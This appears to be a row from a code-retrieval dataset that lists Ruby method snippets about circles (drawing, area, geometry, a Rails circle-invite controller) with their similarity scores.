"def to_circle(x, width, height)\n gv = GraphViz.new(:G, :type => :digraph )\n gv.graph[ concentrate: true]\n gv.edge[arrowhead: :none, fontcolor: :grey]\n topics = x.select {|i| i.level <= 5}\n assign_node_positions(topics,200)\n topics.each do |topic|\n position = quote(topic.x,topic.y)\n level = topic.level\n gv.add_nodes(topic.index, { height: height(level), fontcolor: fontcolor(level), fontsize: fontsize(level) , label: topic.label, shape: shape(level), style: style(level), color: color(level), pos: position })\n gv.add_edges(topic.parent_index, topic.index) if topic.level > 0\n end\n gv.output(svg: \"roadmap.svg\", use: \"neato\", no_layout: 1, scale: 72 )\nend",
"def calculate_circle_area(radius)\n 1 + 1\n \"Hi, from the calculate circle area\"\n PI * radius**2\nend",
"def calculate_circle_area(radius)\nend",
"def calculate_circle_area(radius)\nend",
"def update_circle(circle)\n circle.opacity -= 10\n circle.zoom_x += 0.04\n circle.zoom_y += 0.04\n if circle.zoom_x > 3\n circle.opacity = 255\n circle.zoom_x = 0.0\n circle.zoom_y = 0.0\n end\n end",
"def point_on_base_circle(degrees)\n\t\traise 'Valentine#point_on_base_circle is not implemented. Please write this method.'\n\t\t# Hint: The following may be useful to you:\n\t\t# - Math::PI\n\t\t# - Math.cos(radians)\n\t\t# - Math.sin(radians)\n\tend",
"def circle(time, start, change, total_time)\n return change * Math.sqrt(1 - (time=time/total_time.to_f-1)*time) + start\n end",
"def closer_add\n unless @user && @kroog\n flash[:warning] = \"Error: The specified circle does not exist\".t\n redirect_to(:controller => 'kroogi', :action => 'join_circles', :id => params[:id]) and return\n end\n\n unless current_actor.is_a_follower_of?(@user)\n flash[:warning] = \"No request sent: you can not send requests to the not followed users\".t\n redirect_to(:controller => 'kroogi', :action => 'join_circles', :id => params[:id]) and return\n end\n\n unless @kroog.can_request_invite?\n flash[:warning] = \"No request sent: you can not send request to this circle\".t\n redirect_to(:controller => 'kroogi', :action => 'join_circles', :id => params[:id]) and return\n end\n\n if current_actor.is_self_or_owner?(@user)\n flash[:warning] = \"No request sent: you are already as close as you can get\".t\n redirect_to(:controller => 'kroogi', :action => 'join_circles', :id => params[:id]) and return\n end\n\n unless current_actor.invites_i_requested.rejected.requests_to(@user).select { |x| x.circle_id == params[:circle].to_i }.size < 3\n flash[:warning] = \"No request sent: stop bugging this user!\".t\n redirect_to(:controller => 'kroogi', :action => 'join_circles', :id => params[:id]) and return\n end\n\n InviteRequest.request_invite(current_actor, @user, params[:circle].to_i)\n PublicQuestionHelper::set_question_artist_id(@user, self)\n\n flash[:success] = \"Your request was successfully sent\".t\n redirect_to :controller => 'kroogi', :action => 'join_circles', :id => @user\n end",
"def draw_circles_plot(grouplist, snp_list, x_start, y_start, stat_max, stat_min, closed_key, open_key,\n plot_labels, title, precision, rotate=false)\n x = @box_size\n xmin = x\n ymin = 0\n ymax = @box_size*9\n y_interval = ymax-ymin\n # set stat_min to be zero\n stat_interval = stat_max - stat_min\n value_x = xmin * 0.7 + (@box_size * Math.sqrt(2)*0.25)/2\n\n # draw box (change to triangle) with correct color\n snp_list.included_snps.each do |snp_index|\n snp = snp_list.snps[snp_index]\n draw_separation(x_start, y_start, 0, ymax, value_x)\n grouplist.groups.each do |group|\n if snp.results.has_key?(group.name)\n result = snp.results[group.name]\n if result.values[closed_key] and result.values[closed_key] =~ /\\d/\n\n box_y_start = ((stat_max-result.values[closed_key].to_f) / stat_interval) * y_interval\n\n if rotate\n box_y_start = y_interval - box_y_start\n end\n\n @canvas.g.translate(x_start,y_start) do |check|\n \t check.styles(:fill=>group.colorstr, :stroke=>group.colorstr, :stroke_width=>1, :fill_opacity=>0.9)\n\n if !group.highlighted\n \t # need to draw a circle with point above or below line\n check.circle(@box_size * Math.sqrt(2)*0.125, value_x, box_y_start)\n else\n diamond = create_diamond(box_y_start, value_x, 1.0, group.colorstr)\n diamond.draw(check)\n end\n\n\t end\n\t end\n\n\t # plot the open circle if present\n if !result.values[open_key] or result.values[open_key] !~ /\\d/\n next\n end\n\n box_y_start = ((stat_max-result.values[open_key].to_f) / stat_interval) * y_interval\n\n if rotate\n box_y_start = y_interval - box_y_start\n end\n\n @canvas.g.translate(x_start,y_start) do |check|\n \t check.styles(:fill=>'none', :stroke=>group.colorstr, :stroke_width=>1, :fill_opacity=>0.0)\n if !group.highlighted\n \t # need to draw a circle with point above or below line\n check.circle(@box_size * Math.sqrt(2)*0.125, value_x, box_y_start)\n else\n diamond = create_diamond(box_y_start, value_x, 1.0, group.colorstr)\n diamond.draw_open(check)\n end\n\t end\n\n end\n end\n value_x = label_step(value_x)\n end\n\n if plot_labels\n if rotate\n x_label_start = value_x + x_start+ @box_size * 0.4\n else\n x_label_start = x_start\n end\n write_plot_labels(x_label_start, y_start, ymax, stat_max, stat_min, y_interval, 0, title, false, precision, rotate)\n end\n end",
"def new\n @circle = Circle.new\n @circle.user = current_user\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @circle }\n end\n end",
"def add(coordinate)\n new_x = @x + coordinate.x\n new_y = @y + coordinate.y\n new_coordinate = Coordinate.new(new_x,new_y)\n end",
"def add_ngon(center, normal, radius, numsides = 24)\n end",
"def circle(x0, y0, radius, stroke_color = ChunkyPNG::Color::BLACK, fill_color = ChunkyPNG::Color::TRANSPARENT)\n stroke_color = ChunkyPNG::Color.parse(stroke_color)\n fill_color = ChunkyPNG::Color.parse(fill_color)\n\n f = 1 - radius\n dd_f_x = 1\n dd_f_y = -2 * radius\n x = 0\n y = radius\n\n compose_pixel(x0, y0 + radius, stroke_color)\n compose_pixel(x0, y0 - radius, stroke_color)\n compose_pixel(x0 + radius, y0, stroke_color)\n compose_pixel(x0 - radius, y0, stroke_color)\n\n lines = [radius - 1] unless fill_color == ChunkyPNG::Color::TRANSPARENT\n\n while x < y\n\n if f >= 0\n y -= 1\n dd_f_y += 2\n f += dd_f_y\n end\n\n x += 1\n dd_f_x += 2\n f += dd_f_x\n\n unless fill_color == ChunkyPNG::Color::TRANSPARENT\n lines[y] = lines[y] ? [lines[y], x - 1].min : x - 1\n lines[x] = lines[x] ? [lines[x], y - 1].min : y - 1\n end\n\n compose_pixel(x0 + x, y0 + y, stroke_color)\n compose_pixel(x0 - x, y0 + y, stroke_color)\n compose_pixel(x0 + x, y0 - y, stroke_color)\n compose_pixel(x0 - x, y0 - y, stroke_color)\n\n unless x == y\n compose_pixel(x0 + y, y0 + x, stroke_color)\n compose_pixel(x0 - y, y0 + x, stroke_color)\n compose_pixel(x0 + y, y0 - x, stroke_color)\n compose_pixel(x0 - y, y0 - x, stroke_color)\n end\n end\n\n unless fill_color == ChunkyPNG::Color::TRANSPARENT\n lines.each_with_index do |length, y_offset|\n if length > 0\n line(x0 - length, y0 - y_offset, x0 + length, y0 - y_offset, fill_color)\n end\n if length > 0 && y_offset > 0\n line(x0 - length, y0 + y_offset, x0 + length, y0 + y_offset, fill_color)\n end\n end\n end\n\n self\n end",
"def intersects_with?(o_circle)\n pts_distance(@center, o_circle.center) < @radius + o_circle.radius\n end"
] | [
"0.80569744",
"0.6890897",
"0.6585188",
"0.6567913",
"0.64942646",
"0.64926046",
"0.6447456",
"0.6428423",
"0.6416997",
"0.6401681",
"0.63700825",
"0.62510484",
"0.62470216",
"0.6206563",
"0.6206563",
"0.6194595",
"0.6174517",
"0.61422366",
"0.61416954",
"0.613191",
"0.6123142",
"0.6057036",
"0.60337454",
"0.60185826",
"0.600829",
"0.600421",
"0.5921382",
"0.58943397",
"0.5871868",
"0.5831526",
"0.57898074",
"0.5773684",
"0.57636267",
"0.5716502",
"0.5702025",
"0.5685163",
"0.56735134",
"0.5625517",
"0.55533195",
"0.55308473",
"0.55186796",
"0.5514219",
"0.55134374",
"0.54887015",
"0.5458624",
"0.5439152",
"0.5420124",
"0.5420124",
"0.5418672",
"0.5411307",
"0.5410789",
"0.53978443",
"0.53941965",
"0.5390083",
"0.53865284",
"0.53778124",
"0.53728354",
"0.53715026",
"0.53521794",
"0.53375274",
"0.5337102",
"0.53285277",
"0.5327931",
"0.5320774",
"0.53145427",
"0.5302773",
"0.5297285",
"0.52968884",
"0.529378",
"0.5289137",
"0.5286035",
"0.528346",
"0.5271727",
"0.5262283",
"0.5243284",
"0.523307",
"0.52229494",
"0.5214923",
"0.5203629",
"0.5197597",
"0.5194423",
"0.51832414",
"0.5172898",
"0.51705545",
"0.5170323",
"0.5169399",
"0.51627886",
"0.5158365",
"0.5156257",
"0.5156257",
"0.5147607",
"0.51467645",
"0.5144833",
"0.51412904",
"0.51408774",
"0.5137877",
"0.5136726",
"0.51222765",
"0.511966",
"0.5113288"
] | 0.7706777 | 1 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.